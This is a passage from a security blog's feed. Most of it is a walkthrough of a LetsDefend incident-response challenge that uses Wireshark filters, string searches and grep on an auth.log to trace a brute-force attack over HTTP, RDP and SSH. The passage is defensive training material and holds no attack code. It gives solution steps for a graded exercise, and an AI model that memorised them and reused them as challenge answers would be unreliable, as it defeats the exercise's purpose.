Reference:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Volatility Wiki Command Reference — Mal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference-Mal&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference-Mal&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/8638ab1e5f9ba4cffc66400d36d47f7805733fae828a0cace9421d0bd83eaefa&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/8638ab1e5f9ba4cffc66400d36d47f7805733fae828a0cace9421d0bd83eaefa&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Process Injection (T1055):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1055/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1055/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Varonis:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.varonis.com/blog/how-to-use-volatility&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.varonis.com/blog/how-to-use-volatility&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Brute Force Attacks Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/</link>
            <pubDate>Sun, 15 Sep 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Brute Force Attacks Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend-brute-force-attacks-challenge-walkthrough&#34;&gt;LetsDefend— Brute Force Attacks Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-brute-force-attack-with-wireshark-andauthlog&#34;&gt;Investigating a Brute Force Attack with Wireshark and Auth.log&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! Imagine this: a web server has been compromised, and you&amp;rsquo;re handed a network packet capture file along with the server&amp;rsquo;s authentication log to figure out what was accessed and how it happened. If this sounds exciting to you, you&amp;rsquo;ve stumbled on the right blog!&lt;/p&gt;&#xA;&lt;p&gt;This week&amp;rsquo;s mission is the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/brute-force-attacks&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Brute Force Attacks&lt;/strong&gt;&lt;/a&gt; incident response challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; To solve this challenge, we&amp;rsquo;ll use &lt;em&gt;Wireshark&lt;/em&gt; to discover the scope of a brute force attack, including the server&amp;rsquo;s &lt;em&gt;IP&lt;/em&gt;, the targeted directory, the number of login attempts made, and which accounts were ultimately compromised. But that&amp;rsquo;s not all. Using the web server&amp;rsquo;s &lt;em&gt;auth.log&lt;/em&gt; file, we&amp;rsquo;ll also determine if the attacker was targeting &lt;em&gt;SSH&lt;/em&gt; and if they were able to brute force their way into any accounts. Sounds like a fun time, right? Let&amp;rsquo;s get to it!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you find this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;please give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. Thanks for reading!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;316px&#34; data-flex-grow=&#34;131&#34; height=&#34;347&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/2c0e2568feb58615221f769166084286_MD5.png&#34; width=&#34;458&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/brute-force-attacks&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/brute-force-attacks&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Our web server has been compromised, and it&amp;rsquo;s up to you to investigate the breach. Dive into the system, analyze logs, dissect network traffic, and uncover clues to identify the attacker and determine the extent of the damage. Are you up for the challenge?&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-ip-address-of-the-server-targeted-by-the-attackers-brute-force-attack&#34;&gt;Question 1: What is the IP address of the server targeted by the attacker&amp;rsquo;s brute-force attack?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s get going! The first thing we need to do is extract the &lt;em&gt;BruteForce.7z archive&lt;/em&gt; from within the &lt;em&gt;ChallengeFile&lt;/em&gt; folder on the Desktop. Once it&amp;rsquo;s extracted, we&amp;rsquo;ll have two evidence files:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;661px&#34; data-flex-grow=&#34;275&#34; height=&#34;186&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/3f5a5bd2d44ceb78d00b49c75c081310_MD5.png&#34; width=&#34;513&#34;&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;em&gt;BruteForce.pcap&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;auth.log&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The first file, &lt;em&gt;BruteForce.pcap&lt;/em&gt; is a network packet capture file that we can open with &lt;em&gt;Wireshark.&lt;/em&gt; The second, &lt;em&gt;auth.log,&lt;/em&gt; is the web server&amp;rsquo;s authentication log that will help us find successful and failed logins. Throughout this investigation, we&amp;rsquo;ll use both the web server log and the network traffic log to investigate.&lt;/p&gt;&#xA;&lt;p&gt;To tackle &lt;strong&gt;Question 1&lt;/strong&gt;, let&amp;rsquo;s check out &lt;em&gt;BruteForce.pcap&lt;/em&gt; first. We can double-click the file to open it &lt;em&gt;Wireshark&lt;/em&gt; where we can start to analyze the packets.&lt;/p&gt;&#xA;&lt;p&gt;Since there are thousands of packets to sort through, let&amp;rsquo;s start with a birds-eye view to understand what the IP addresses have the most traffic. This will help us narrow down which addresses we want to analyze further.&lt;/p&gt;&#xA;&lt;p&gt;To do this in &lt;em&gt;Wireshark&lt;/em&gt; let&amp;rsquo;s utilize the &lt;em&gt;Statistics&lt;/em&gt; &amp;gt; &lt;em&gt;Endpoints&lt;/em&gt; &amp;gt; &lt;em&gt;IPv4&lt;/em&gt; view. This will provide a summary of all the &lt;em&gt;IPv4&lt;/em&gt; addresses in the &lt;em&gt;pcap.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;744&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/3a122b74013203efbde9559e8855da84_MD5.gif&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/3a122b74013203efbde9559e8855da84_MD5_hu_bc25448dda45158a.gif 800w, https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/3a122b74013203efbde9559e8855da84_MD5.gif 1423w&#34; width=&#34;1423&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using this view, we see several &lt;em&gt;private&lt;/em&gt; IP addresses (&lt;em&gt;192.168.190.x&lt;/em&gt;) and several &lt;em&gt;public&lt;/em&gt; IP addresses. But notice the number of packets — there are only two IPs responsible for the overwhelming amount of traffic.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;646px&#34; data-flex-grow=&#34;269&#34; height=&#34;297&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/229a4807703a8816269f95e603793e4d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Remember, we&amp;rsquo;re looking for the target IP address of a &lt;em&gt;web server&lt;/em&gt; which are usually internet-facing. Using our powers of deduction, the target server is the one with the &lt;em&gt;public&lt;/em&gt; IP address of 51[.]116[.]96[.]181.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2206px&#34; data-flex-grow=&#34;919&#34; height=&#34;87&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/f9a9179b1a2d099ed7bbc4b80f636501_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-which-directory-was-targeted-by-the-attackers-brute-force-attempt&#34;&gt;Question 2: Which directory was targeted by the attacker&amp;rsquo;s brute-force attempt?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, now that we know the IP address of the &lt;em&gt;web server&lt;/em&gt; let&amp;rsquo;s do some further investigating in &lt;em&gt;Wireshark.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since &lt;em&gt;web servers&lt;/em&gt; typically accept connections on ports &lt;strong&gt;80&lt;/strong&gt; (&lt;em&gt;HTTP&lt;/em&gt;) and &lt;strong&gt;443&lt;/strong&gt; (&lt;em&gt;HTTPS&lt;/em&gt;), let&amp;rsquo;s use &lt;em&gt;Wireshark&amp;rsquo;s&lt;/em&gt; filter toolbar focus on the &lt;em&gt;HTTP&lt;/em&gt; protocol. This will let us see the captured &lt;em&gt;HTTP&lt;/em&gt; requests sent to the server.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;417px&#34; data-flex-grow=&#34;173&#34; height=&#34;460&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/887e8f81305bb9d512ebf466100167c5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After filtering for &lt;em&gt;HTTP,&lt;/em&gt; we now see hundreds of &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/POST_%28HTTP%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;HTTP POST&lt;/em&gt;&lt;/a&gt; requests sent to the &lt;em&gt;web server&lt;/em&gt; targeting the &lt;em&gt;index.php&lt;/em&gt; directory.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2206px&#34; data-flex-grow=&#34;919&#34; height=&#34;87&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/bd1cc3cae004f0e124aa2cc86e39c79e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-identify-the-correct-username-and-password-combination-used-forlogin&#34;&gt;Question 3: Identify the correct username and password combination used for login.&#xA;&lt;/h3&gt;&lt;p&gt;Yikes! Based on the question, the attacker was able to find a valid username/password combination and gained access to the server.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 3&lt;/strong&gt;, we have to find the credentials used for authentication within the &lt;em&gt;pcap.&lt;/em&gt; Fortunately, we can find this information quickly by leveraging &lt;em&gt;Wireshark&amp;rsquo;s&lt;/em&gt; search function to search the packets for a keyword.&lt;/p&gt;&#xA;&lt;p&gt;But first, we need to figure out what we are searching for exactly. For each &lt;em&gt;HTTP POST&lt;/em&gt; request, the web server returns a &lt;strong&gt;response&lt;/strong&gt;. Look at any of the responses sent from the server:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;420px&#34; data-flex-grow=&#34;175&#34; height=&#34;457&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/60271fd2208b49efc50f9bf9074dde1a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Each &lt;em&gt;incorrect&lt;/em&gt; response returns the message &lt;strong&gt;&lt;em&gt;&amp;gt;incorrect&lt;/em&gt;&lt;/strong&gt; in red. So, maybe &lt;em&gt;correct&lt;/em&gt; responses return &lt;strong&gt;&lt;em&gt;&amp;gt;correct&lt;/em&gt;&lt;/strong&gt;? Let&amp;rsquo;s find out! Rather than manually review all these records, let&amp;rsquo;s finally use &lt;em&gt;Wireshark&amp;rsquo;s&lt;/em&gt; search functionality.&lt;/p&gt;&#xA;&lt;p&gt;Press &lt;em&gt;CTRL + F or&lt;/em&gt; press the magnifying glass to bring up the find/search bar, then select &lt;em&gt;String,&lt;/em&gt; and finally select &lt;em&gt;Packet details&lt;/em&gt; so we can search within the middle &amp;quot; # &amp;ldquo;packet details&amp;quot;window.&lt;/p&gt;&#xA;&lt;p&gt;Now enter &lt;strong&gt;&lt;em&gt;&amp;gt;correct&lt;/em&gt;&lt;/strong&gt; into the search box.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;462px&#34; data-flex-grow=&#34;192&#34; height=&#34;623&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/fde53b22c6663e3880ed5dd41c73d5c5_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/fde53b22c6663e3880ed5dd41c73d5c5_MD5_hu_7ccb1bc6a36a7510.png 800w, https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/fde53b22c6663e3880ed5dd41c73d5c5_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hey, we&amp;rsquo;ve got a hit! Now, right-click the packet and select &lt;em&gt;Follow &amp;gt; HTTP Stream&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;461px&#34; data-flex-grow=&#34;192&#34; height=&#34;416&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/c6e27f330908bf955e2c6f26c1cd1b1b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;With visibility into the complete &lt;em&gt;HTTP Stream&lt;/em&gt; of the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;correct&amp;rdquo;&#xA;login, we can now identify the &lt;em&gt;username&lt;/em&gt; and &lt;em&gt;password&lt;/em&gt; sent in the &lt;em&gt;POST&lt;/em&gt; request to the server!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;334px&#34; data-flex-grow=&#34;139&#34; height=&#34;561&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/a04b3b79cdf392289eccc4b9c2173eeb_MD5.png&#34; width=&#34;782&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1613px&#34; data-flex-grow=&#34;672&#34; height=&#34;119&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/fa9ac00b9ffe0c356ec2c9b34841488b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-how-many-user-accounts-did-the-attacker-attempt-to-compromise-via-rdp-brute-force&#34;&gt;Question 4: How many user accounts did the attacker attempt to compromise via RDP brute-force?&#xA;&lt;/h3&gt;&lt;p&gt;Now let&amp;rsquo;s determine how many usernames the attacker tried to brute force. To do this, let&amp;rsquo;s adjust our filters to narrow the scope from all &lt;em&gt;HTTP&lt;/em&gt; traffic to only show the &lt;em&gt;HTTP POST&lt;/em&gt; requests to the web server.&lt;/p&gt;&#xA;&lt;p&gt;http &amp;amp;&amp;amp; ip.dst==51.116.96.181&lt;/p&gt;&#xA;&lt;p&gt;Do you see that each one captured a &lt;em&gt;username&lt;/em&gt; form item?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;414px&#34; data-flex-grow=&#34;172&#34; height=&#34;463&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/1918373f459ab7cedee0f6e8d3a33b6e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Scrolling through the packets, we will see a few user accounts listed, but we can search much more efficiently with another method outside of &lt;em&gt;Wireshark.&lt;/em&gt; To start, we&amp;rsquo;ll export the displayed packets to a plain text file.&lt;/p&gt;&#xA;&lt;p&gt;Press &lt;em&gt;File &amp;gt; Export Packet Dissections &amp;gt; As Plain Text&amp;hellip;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;419px&#34; data-flex-grow=&#34;174&#34; height=&#34;458&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/085f2e77ae7ca5ec036db8df64cc1eee_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, choose a &lt;em&gt;File name&lt;/em&gt; and press &lt;em&gt;Save.&lt;/em&gt; This will export the packets we have filtered into a text file. For this walkthrough, I&amp;rsquo;ll call my output file &lt;em&gt;HTTPexport.txt.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;354px&#34; data-flex-grow=&#34;147&#34; height=&#34;542&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/70dde7403d8adc3011a32856a2cde82a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, we&amp;rsquo;ll open the terminal and use &lt;em&gt;grep&lt;/em&gt; to search the &lt;em&gt;text&lt;/em&gt; file, displaying only the lines matching &amp;quot; # &amp;ldquo;username&amp;quot;and then removing any duplicate entries.&lt;/p&gt;&#xA;&lt;p&gt;cat HTTPexport.txt | grep -i &amp;ldquo;username&amp;rdquo; | uniq&lt;/p&gt;&#xA;&lt;p&gt;Using this method provides us the total number of user accounts targeted by the attacker!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1536px&#34; data-flex-grow=&#34;640&#34; height=&#34;125&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/51553dd0e53a7123e84ad49191b83aaf_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1939px&#34; data-flex-grow=&#34;808&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/e67a9d3577dab9d9fe96a133469364ff_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the---&#34;&gt;Question 5: What is the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;clientName&amp;rdquo;&#xA;of the attacker&amp;rsquo;s machine?&lt;/p&gt;&#xA;&lt;p&gt;Previously we focused only on &lt;em&gt;HTTP&lt;/em&gt; protocol traffic. Now we need to zoom out and search the rest of the &lt;em&gt;pcap&lt;/em&gt; since the attacker&amp;rsquo;s machine name is not available in the &lt;em&gt;HTTP&lt;/em&gt; request data.&lt;/p&gt;&#xA;&lt;p&gt;But what are we looking for exactly? Let&amp;rsquo;s take the question literally and perform a search for the string &amp;quot; # &amp;ldquo;clientname&amp;quot;like we did back in &lt;strong&gt;Question 3.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;517px&#34; data-flex-grow=&#34;215&#34; height=&#34;557&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/71fa16f4079ceeae5a0644b0f83872f5_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/71fa16f4079ceeae5a0644b0f83872f5_MD5_hu_95db21e17f91ac28.png 800w, https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/71fa16f4079ceeae5a0644b0f83872f5_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This search will identify &lt;em&gt;Remote Desktop Protocol&lt;/em&gt; &lt;em&gt;(RDP)&lt;/em&gt; traffic directed towards the web server. In the packet details pane, the attacker&amp;rsquo;s client name will be visible in the &lt;em&gt;clientName&lt;/em&gt; field of the &lt;em&gt;Remote Desktop Protocol ClientData&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2042px&#34; data-flex-grow=&#34;851&#34; height=&#34;94&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/4e39b007d38557258eeb771f67044be5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-when-did-the-user-last-successfully-log-in-via-ssh-and-who-wasit&#34;&gt;Question 6: When did the user last successfully log in via SSH, and who was it?&#xA;&lt;/h3&gt;&lt;p&gt;Now, rather than focus on &lt;em&gt;HTTP&lt;/em&gt; or &lt;em&gt;RDP&lt;/em&gt; events like we have in the previous questions, we&amp;rsquo;re going to look for &lt;em&gt;Secure Shell&lt;/em&gt; (&lt;em&gt;SSH)&lt;/em&gt; events — there&amp;rsquo;s just one problem, we can&amp;rsquo;t find them in &lt;em&gt;Wireshark&lt;/em&gt;. That&amp;rsquo;s Okay! For this task we&amp;rsquo;ll pivot to the second challenge file, &lt;em&gt;auth.log.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Open the log file in any text editor. Once it&amp;rsquo;s open, we&amp;rsquo;ll simply use the built-in search/find tool and look for &lt;strong&gt;&lt;em&gt;ssh&lt;/em&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are thousands of hits! Let&amp;rsquo;s review some of the &lt;em&gt;ssh&lt;/em&gt; logging events and observe that successful login attempts contain the string &amp;quot; # &amp;ldquo;Accepted password&amp;quot;along with the &lt;em&gt;username&lt;/em&gt;, &lt;em&gt;IP address&lt;/em&gt;, and &lt;em&gt;source port&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;419px&#34; data-flex-grow=&#34;174&#34; height=&#34;458&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/4f85ac60e01a1cf7e40254293f97e497_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This means we can search the log for entries containing &amp;quot; # &amp;ldquo;Accepted password&amp;quot;to determine how many times the attacker logged and then navigate to the last result (it&amp;rsquo;s in ascending order) to find the last login and answer &lt;strong&gt;Question 6.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;445px&#34; data-flex-grow=&#34;185&#34; height=&#34;431&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/0288f5f4557835a1424f4578e3e6ab48_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1745px&#34; data-flex-grow=&#34;727&#34; height=&#34;110&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/ea246a699e1227c3be5df5c6fcafebb4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-how-many-unsuccessful-ssh-connection-attempts-were-made-by-the-attacker&#34;&gt;Question 7: How many unsuccessful SSH connection attempts were made by the 